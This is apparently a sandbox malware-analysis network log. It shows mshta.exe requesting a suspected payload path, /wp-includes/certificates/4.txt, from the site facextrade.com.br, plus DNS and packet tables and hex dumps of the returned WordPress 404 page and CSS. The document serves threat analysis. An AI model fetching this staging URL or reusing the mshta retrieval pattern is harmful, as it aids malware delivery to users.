Aug 16, 2022 11:06:12.362432003 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362477064 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362488985 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362525940 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362566948 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362606049 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362642050 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362673998 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362679958 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362745047 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362804890 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362818956 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362842083 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362865925 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362880945 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362890959 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362919092 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362946033 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362960100 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362974882 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362998962 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363028049 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363037109 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363073111 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363075018 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363106966 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363114119 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363126040 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363152027 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363172054 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363189936 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363204002 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363229036 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363246918 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363267899 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363286972 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363308907 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.363321066 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.363368034 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.389070988 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.389132023 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.389221907 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.578155041 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.578186035 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.578202009 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.578219891 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.578238010 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.578253031 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.578491926 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:13.795182943 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:14.014085054 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:14.014120102 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:14.014221907 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:17.391453981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:17.391560078 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:19.010086060 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:19.010293007 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:38.807090044 CEST	49764	80	192.168.2.4	142.250.181.238
Aug 16, 2022 11:07:38.807271957 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:07:38.807287931 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:38.807317019 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:38.823894978 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:07:38.824264050 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:07:38.825371981 CEST	80	49764	142.250.181.238	192.168.2.4
Aug 16, 2022 11:07:38.825485945 CEST	49764	80	192.168.2.4	142.250.181.238
Aug 16, 2022 11:07:39.117032051 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:39.148273945 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:39.726567030 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:39.757751942 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:40.929688931 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:40.960953951 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:43.336148977 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:43.367376089 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:48.149071932 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:07:48.180351973 CEST	49795	80	192.168.2.4	187.45.240.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:05:49.171050072 CEST	54800	53	192.168.2.4	8.8.8.8
Aug 16, 2022 11:05:49.212328911 CEST	53	54800	8.8.8.8	192.168.2.4
Aug 16, 2022 11:05:50.703767061 CEST	64454	53	192.168.2.4	8.8.8.8
Aug 16, 2022 11:05:50.723270893 CEST	53	64454	8.8.8.8	192.168.2.4
Aug 16, 2022 11:05:50.863063097 CEST	56076	53	192.168.2.4	8.8.8.8
Aug 16, 2022 11:05:50.892381907 CEST	53	56076	8.8.8.8	192.168.2.4
Aug 16, 2022 11:06:07.910264969 CEST	60381	53	192.168.2.4	8.8.8.8
Aug 16, 2022 11:06:07.955440044 CEST	53	60381	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 16, 2022 11:05:49.171050072 CEST	192.168.2.4	8.8.8.8	0x2ab1	Standard query (0)	facextrade.com.br	A (IP address)	IN (0x0001)
Aug 16, 2022 11:05:50.703767061 CEST	192.168.2.4	8.8.8.8	0xa665	Standard query (0)	netdna.bootstrapcdn.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:05:50.863063097 CEST	192.168.2.4	8.8.8.8	0x3ebb	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:06:07.910264969 CEST	192.168.2.4	8.8.8.8	0xe463	Standard query (0)	storage.ie6countdown.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 16, 2022 11:05:49.212328911 CEST	8.8.8.8	192.168.2.4	0x2ab1	No error (0)	facextrade.com.br		187.45.240.69	A (IP address)	IN (0x0001)
Aug 16, 2022 11:05:50.723270893 CEST	8.8.8.8	192.168.2.4	0xa665	No error (0)	netdna.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:05:50.723270893 CEST	8.8.8.8	192.168.2.4	0xa665	No error (0)	netdna.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:05:50.892381907 CEST	8.8.8.8	192.168.2.4	0x3ebb	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)
Aug 16, 2022 11:05:50.892381907 CEST	8.8.8.8	192.168.2.4	0x3ebb	No error (0)	www3.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)
Aug 16, 2022 11:06:07.595552921 CEST	8.8.8.8	192.168.2.4	0x27b1	No error (0)	gstaticadssl.l.google.com		172.217.16.195	A (IP address)	IN (0x0001)
Aug 16, 2022 11:06:07.955440044 CEST	8.8.8.8	192.168.2.4	0xe463	Name error (3)	storage.ie6countdown.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

facextrade.com.br

translate.google.com

netdna.bootstrapcdn.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49765	142.250.181.238	443	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49758	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:49.468569994 CEST	1167	OUT	GET /wp-includes/certificates/4.txt HTTP/1.1 Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:50.594834089 CEST	1168	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:05:49 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:05:50.594863892 CEST	1170	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:05:50.594880104 CEST	1171	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:05:50.594894886 CEST	1172	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:05:50.594911098 CEST	1173	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:05:50.594927073 CEST	1174	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:05:50.594945908 CEST	1176	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:05:50.594959021 CEST	1176	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:05:50.603463888 CEST	1177	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:05:50.603491068 CEST	1179	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:05:50.826359034 CEST	1190	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49770	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:53.397427082 CEST	1610	OUT	GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:53.640034914 CEST	1616	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:53 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:25:36 GMT ETag: "a4f8ac-193-58592c71f7400" Accept-Ranges: bytes Content-Length: 403 Connection: close Content-Type: text/css
Aug 16, 2022 11:05:53.640058994 CEST	1617	IN	Data Raw: 62 6f 64 79 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 20 7b 0a 09 70 6f 73 69 74 Data Ascii: body .main-holder {overflow: hidden;position: static;}.parallax-box {position: relative;}.parallax-content {position: relative;z-index: 2;}.parallax-bg {position: absolute;overflow:hidden;top: 0;left: 0;width: 100%;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49771	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:53.732634068 CEST	1618	OUT	GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:53.982851982 CEST	1619	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:53 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:36:00 GMT ETag: "a4fbb9-6cf-58592ec50f000" Accept-Ranges: bytes Content-Length: 1743 Connection: close Content-Type: text/css
Aug 16, 2022 11:05:53.982898951 CEST	1620	IN	Data Raw: 64 69 76 2e 77 70 63 66 37 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 Data Ascii: div.wpcf7 {margin: 0;padding: 0;}div.wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);height: 1px;width: 1px;margin: 0;padding: 0;border: 0;}div.wpcf7-response-output {
Aug 16, 2022 11:05:53.982958078 CEST	1621	IN	Data Raw: 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 61 6a 61 78 2d 6c 6f 61 64 65 72 2e 69 73 2d 61 63 74 69 76 65 20 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 76 69 73 69 62 Data Ascii: vertical-align: middle;}div.wpcf7 .ajax-loader.is-active {visibility: visible;}div.wpcf7 div.ajax-error {display: none;}div.wpcf7 .placeheld {color: #888;}div.wpcf7 .wpcf7-recaptcha iframe {margin-bottom: 0;}div.wpcf7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49772	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:53.860311031 CEST	1618	OUT	GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:54.970297098 CEST	1623	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:05:53 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 